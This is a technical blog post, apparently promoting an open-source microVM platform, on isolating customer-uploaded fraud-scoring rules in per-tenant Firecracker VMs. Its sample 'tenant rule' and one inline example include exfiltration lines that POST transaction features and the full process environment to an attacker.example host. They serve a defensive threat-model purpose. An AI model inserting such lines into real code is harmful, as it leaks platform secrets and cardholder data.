Per-Tenant Fraud Rules in Isolated microVMs

You built a fraud and risk platform, and the feature your biggest customers keep asking for is the one that changes what your product is: let them write their own scoring rules. A custom Python rule that flags a velocity pattern you don't ship out of the box. A small ML model they trained on their own chargeback history. A rules DSL that compiles down to code. It's a great feature — it's the difference between a generic score and a score tuned to their business. It's also the moment your risk engine stops running only code you wrote, and starts running code a customer wrote, on every single transaction, in the hot path of their checkout.

That code has three properties that don't mix well with a shared worker pool. It's untrusted — you didn't review it, you can't review it at the rate customers ship rule changes, and a valid-looking rule can open a socket just as easily as it can compute a velocity window. It runs on the sensitive stuff — the whole point of a scoring rule is that you hand it the transaction's features: card fingerprint, device signals, geo, amount, the customer's own risk vectors. And it's latency-critical — it sits between the shopper hitting "pay" and the payment being authorized, so a rule that pins a core doesn't just fail; it adds latency to everyone's checkout.

I'm Ajay — I build PandaStack, an open-source Firecracker microVM platform, so I spend my days thinking about exactly where the isolation boundary sits when you run other people's code. This post is about running per-tenant fraud rules the honest way: each tenant's rule in its own microVM, handed only that transaction's scoped features, with a hard timeout, so a bad rule fails one transaction instead of everyone's afternoon.

The shared scoring pool is a data-leak and latency disaster

The tempting first design is a pool of warm workers — processes or containers — that pull scoring jobs off a queue, load the tenant's rule, and run it against the incoming transaction. It's cheap, it's warm, it's fast in the happy path. It also fuses every tenant's fate together in two ways, and in fintech both of them are the kind of thing that ends up in a breach disclosure.

The first is the data boundary, and it's the scary one. That worker process has, over its lifetime, held tenant A's transaction features in memory and tenant B's transaction features in memory. It has your platform's credentials in its environment — the feature-store connection, the enrichment API keys, the warehouse DSN. Tenant A's rule, running as ordinary code in that process, can read all of it: tenant B's feature vector still resident in the heap, a temp file left in `/tmp`, the environment variable holding your master key. A rule doesn't have to be malicious to be a problem — but if it is, a rule that calls `requests.get("https://attacker.example/collect", json=features)` scores as "not fraud" and also, quietly, as "exfiltration." You didn't leak the card data. Your architecture did.

The second is latency, and it's the one that pages you. Tenant A ships a rule with an accidental `while True`, or a regex that backtracks catastrophically on a crafted input, or a model load that pulls a 2GB artifact synchronously. That worker's CPU pins. On a shared box, that pressure doesn't stay politely inside tenant A's job — the run queue backs up, and tenant B's perfectly reasonable rule, which happened to land on the same worker, now waits behind it. Because this is the checkout hot path, "waits" means shoppers staring at a spinner and tenant B's authorization rate quietly dropping. One customer's bad rule becomes every customer's added checkout latency, and your on-call gets paged for a slowdown they can't see the cause of.

What an untrusted rule actually looks like

Here's a customer-uploaded rule of the sort that looks completely reasonable in a code review — because it is, mostly. The problem isn't that it's obviously evil. The problem is that it's arbitrary code with access to whatever the process around it has, and you're running it thousands of times a second on live transactions:

# tenant-uploaded rule: score(features) -> float in [0, 1]
# Looks fine. Runs on every transaction. You never reviewed this diff.
import os
import requests

def score(features: dict) -> float:
    risk = 0.0

    # ...reasonable-looking logic a fraud analyst would write...
    if features["amount"] > 5000 and features["card_country"] != features["ip_country"]:
        risk += 0.4
    if features["device_age_days"] < 1:
        risk += 0.3

    # (1) a "helpful" enrichment call the analyst added. On every txn, in the
    #     hot path, it makes a blocking network request to a third party. One
    #     slow DNS lookup and your p99 checkout latency is now their latency.
    geo = requests.get(f"https://ipapi.example/{features['ip']}", timeout=30).json()
    if geo.get("is_vpn"):
        risk += 0.2

    # (2) the line that isn't an accident. In a shared worker this reads YOUR
    #     platform secrets and ships the live transaction features off-box.
    #     It scores as "not fraud" and also as exfiltration.
    requests.post("https://collector.attacker.example",
                  json={"features": features, "env": dict(os.environ)})

    return min(risk, 1.0)

# The catastrophic-backtracking regex, the model that never loads, the
# `while True` after a refactor — same shape. Arbitrary code, live data,
# hot path. "Please write safe rules" is not a security control.

Nothing in that rule is exotic. It imports the standard library, reads an env var, makes an HTTP call — all of which are the most normal things in the world for Python code to do, and all of which are catastrophic when the code is untrusted, holds live card data, and runs on the authorization path. In a shared worker, line (2) succeeds. The whole game is to build a place to run this where line (2) has nothing to read and nothing to reach.

One microVM per tenant, or per transaction

The fix is to stop sharing the thing you shouldn't share: the machine. Run each tenant's rule in its own Firecracker microVM. Each VM boots its own guest kernel and is confined by KVM hardware virtualization — the only way out is a tiny set of emulated virtio devices, not the full Linux syscall surface a container sees. This is the same isolation model AWS Lambda and Fargate use to run untrusted code from thousands of customers on shared fleets. Tenant A's exfiltration attempt has nothing to exfiltrate; their runaway loop pins a core that belongs only to their VM; their rule sees only the one transaction you handed it. When it misbehaves, one transaction fails and nobody else notices.

The classic objection is startup cost — nobody puts a three-second VM boot in front of a checkout. PandaStack sidesteps that with snapshot-restore: every create restores a baked snapshot of an already-booted machine rather than cold-booting. The restore step is around 49ms; an end-to-end create is p50 179ms and p99 about 203ms. A true cold boot, only on the very first spawn of a template, is around 3s — after that, you're paying restore prices. That's the trade that makes VM-per-rule practical: hypervisor-grade isolation at latencies that fit inside a payment authorization budget, not on top of it.

Here's the shape in the Python SDK — score one transaction with one tenant's rule in its own sandbox, hand it only that transaction's scoped features, cap it with a hard timeout, read the score back, and destroy the VM:

from pandastack import Sandbox
import json

def score_transaction(tenant_id: str, tenant_rule_py: str, features: dict) -> float:
    """Run ONE tenant's untrusted rule against ONE transaction in its own
    microVM. The VM sees only this transaction's features -- no other
    tenant's data, no feature-store creds, no platform env."""
    with Sandbox.create(
        template="code-interpreter",
        ttl_seconds=120,                        # backstop: a leaked VM reaps itself
        metadata={"tenant_id": tenant_id},      # for per-tenant audit + billing
    ) as sbx:
        # Inject ONLY this one transaction's scoped features. Never the raw
        # feature store, never platform secrets -- the rule computes against
        # a local dict and has no network route to anything of ours.
        sbx.filesystem.write("/workspace/features.json", json.dumps(features))
        sbx.filesystem.write("/workspace/rule.py", tenant_rule_py)

        runner = (
            "import json\n"
            "from rule import score\n"
            "features = json.load(open('/workspace/features.json'))\n"
            "print(json.dumps({'score': float(score(features))}))\n"
        )
        sbx.filesystem.write("/workspace/run.py", runner)

        # timeout_seconds is the circuit breaker for the infinite loop, the
        # catastrophic regex, the model that never loads. It kills THIS vm --
        # so a bad rule fails ONE transaction, not everyone's checkout.
        result = sbx.exec("cd /workspace && python3 run.py", timeout_seconds=2)
        if result.exit_code != 0:
            # Rule crashed or timed out: fail this ONE txn to your safe default
            # (route to manual review / step-up), never to a global outage.
            raise RuleFailed(tenant_id, result.stderr)

        return json.loads(result.stdout)["score"]
    # VM (and everything the rule touched) is gone here.

The load-bearing details: `metadata={"tenant_id": ...}` so your audit log and billing attribute the run; `timeout_seconds` on exec as the hard circuit breaker against the loop that never ends; and — most importantly — the only data in the guest is the one transaction's scoped features. The VM has no route to your feature store and no platform credentials in its environment, so even if the rule is actively hostile, the worst it can do is return a wrong score about a transaction it was already allowed to see. Line (2) from the earlier rule now reads an empty environment and connects to nothing.

Hand each VM only that transaction's features — and none of your secrets

Isolation of the machine is necessary but not sufficient. A perfectly isolated VM that you hand a superuser feature-store DSN is a well-contained way to let a tenant's rule read every other tenant's transactions. The VM boundary contains the code; it does not sanitize the powers you grant the code. So the second rule is: the guest gets exactly the features the score is allowed to see, and nothing else.

• Inject the transaction's features, not a connection. Do the enrichment and feature lookup yourself, on your side of the boundary, and pass the finished feature dict into the guest (`filesystem.write`). The VM has no network route to your feature store, so a rule that wants to fan out and read the whole store has nothing to reach.
• Keep platform secrets out of the guest. Your feature-store DSN, enrichment API keys, and warehouse tokens must never be exported into the sandbox environment. If the running rule can read an env var, treat that env var as leaked — because `dict(os.environ)` is one line away and it will end up in someone's POST body.
• Deny egress by default. A scoring rule almost never has a legitimate reason to make an outbound network call in the hot path — enrichment belongs on your side, before you hand the features in. A VM with no route out turns the exfiltration line into a connection error, which is exactly what you want.
• Attribute everything. Tag the sandbox with the tenant id so a runaway rule, a suspicious egress attempt, or a billing line traces back to exactly one customer's rule version.

The hard timeout: a bad rule fails one transaction, not all of them

The whole reason a runaway rule is survivable here is that it's fenced inside one machine with a finite ceiling and a hard cutoff. A microVM has a fixed memory and CPU budget baked into its template — a model that tries to load a giant artifact hits the VM's ceiling and the guest OOM-kills the offending process, which is exactly the blast radius you want. The tenant's rule dies; the host and every other tenant's VM keep humming.

Layer a tight timeout on top for the failure that isn't about memory — the infinite loop, the catastrophic regex, the blocking enrichment call to a third party that's having a bad day. The `timeout_seconds` on `exec` cancels the run inside a budget you control; the `ttl_seconds` on the sandbox is the backstop that reaps the whole VM even if your scoring service crashes mid-run. Two independent cutoffs. And critically: decide up front what a timed-out rule means for the transaction. It should fail closed to a safe default — route to manual review, trigger a step-up challenge, apply your platform's baseline score — never fail open to "approve everything" and never fail into a global outage. A bad rule failing one transaction to manual review is a Tuesday. A bad rule taking down scoring for every tenant is an incident.

• Shared scoring pool — a runaway rule pins a shared core and backs up the run queue; every tenant that lands on that worker inherits the latency, on the checkout hot path. A rule that reads process memory or env can see other tenants' features and your secrets. Cleanup means hoping the worker reset left no card data in the heap.
• microVM per tenant/transaction — a runaway rule pins a core that belongs only to its own VM and is cancelled by the exec timeout; a memory-hungry model OOM-kills only that guest's process. The rule sees only the one transaction's features you injected, and teardown is `kill()` — memory, filesystem, and any half-written state vanish with the VM. The blast radius is one transaction and one disposable machine.

Warm-per-tenant vs. fresh-per-transaction

There are two ways to hold the VM, and in the hot path the difference is latency you either pay or don't. Neither is wrong; picking the wrong one just costs you either checkout milliseconds or money.

• Fresh microVM per transaction — create a VM for the score, run the rule, kill it. This is the strongest posture: nothing survives between scores, so there's no residual state for one transaction to leak into the next, and idle tenants cost nothing. At p50 179ms to create (roughly 49ms of that is the snapshot restore), a VM-per-transaction is viable for asynchronous or step-up scoring, batch re-scoring, and lower-QPS tenants. But 179ms is real budget on a synchronous authorization path, so this isn't automatically the default for high-throughput inline scoring.
• Warm microVM per tenant — for a high-QPS tenant scoring inline on every checkout, spinning a fresh VM per transaction adds create latency you can't spare. Keep one long-lived VM per tenant, mark it `persistent=True` so the idle reaper leaves it alone, load the tenant's rule once, and stream transactions to it over exec — each score is just a call into an already-warm guest, no create cost. The hard rule: one tenant per persistent VM, forever. The VM is the boundary; the instant you reuse one persistent sandbox across two tenants, you've erased the boundary and rebuilt the shared-pool leak by hand.
• The hybrid most platforms land on — warm-per-tenant VMs for high-throughput inline scoring where every millisecond counts, and fresh-per-transaction for the long tail: low-QPS tenants, asynchronous re-scoring, and step-up decisions where an extra ~180ms is invisible. Hibernate the warm VMs for quiet tenants between bursts and auto-wake them on the next transaction, so an idle tenant trends toward zero cost while an active one gets a warm score.

When a rule needs a clean slate: fork instead of re-create

Sometimes you want each evaluation to start from a known-good, fully-provisioned state — a VM with the tenant's model already loaded, their feature libraries warm, their DSL runtime compiled — with zero chance of state bleeding between runs. Re-creating that from scratch every time is wasteful. Fork a seeded VM instead. A same-host copy-on-write fork lands in 400–750ms (cross-host 1.2–3.5s) and shares memory and disk copy-on-write, so each evaluation gets a private, disposable copy of exactly the loaded state it needs without paying to rebuild it. The score finishes, you destroy the fork, and there's nothing left to leak into the next transaction.

This is the same moat that makes warm-per-tenant cheap: you bake a snapshot of a tenant's VM with their rule and model loaded, then fork it per burst. Each fork is a warm start, not a cold boot, and each one is disposable. The runaway rule still happens — it just runs in a fork you were going to throw away anyway.

Teardown is the feature, not an afterthought

The reason this architecture stays safe under load is that destruction is total and cheap. When a score finishes — or when a rule blows its timeout, or when a tenant rotates their rule — you kill the VM, and its memory, its filesystem, the transaction features you injected, and any half-written temp files go with it. There's no worker to reset, no `/tmp` to sweep, no lingering connection to reap, no chance that the next transaction's score inherits a stale feature dict from the last one. Fresh-per-transaction VMs teardown automatically via `ttl_seconds` and the `with` block; warm-per-tenant VMs you `kill()` explicitly when the tenant churns or rotates a rule. Either way, the leak surface between one transaction and the next is zero, because there is no next transaction on the same machine memory.

Putting it together

Letting customers upload their own fraud rules is a great feature and a genuine liability, and in fintech the liability is card data, checkout latency, and the incident report. The liability is entirely about where that code runs. Don't run it in a shared scoring pool, where one tenant's rule can read another's transaction features and your secrets, and one tenant's runaway rule adds latency to everyone's checkout. Run each tenant's rule in its own Firecracker microVM: hand the guest only that one transaction's scoped features and none of your platform credentials, deny egress by default, cap it with a hard timeout that fails one transaction to a safe default, choose warm-per-tenant for high-QPS inline scoring and fresh-per-transaction for the long tail — and let snapshot-restore keep the whole thing fast enough that isolation fits inside your authorization budget instead of blowing it. The rule that calls `attacker.example` still gets uploaded. It just runs in a VM with nothing to read and nowhere to send it, and it takes down one transaction instead of your Tuesday.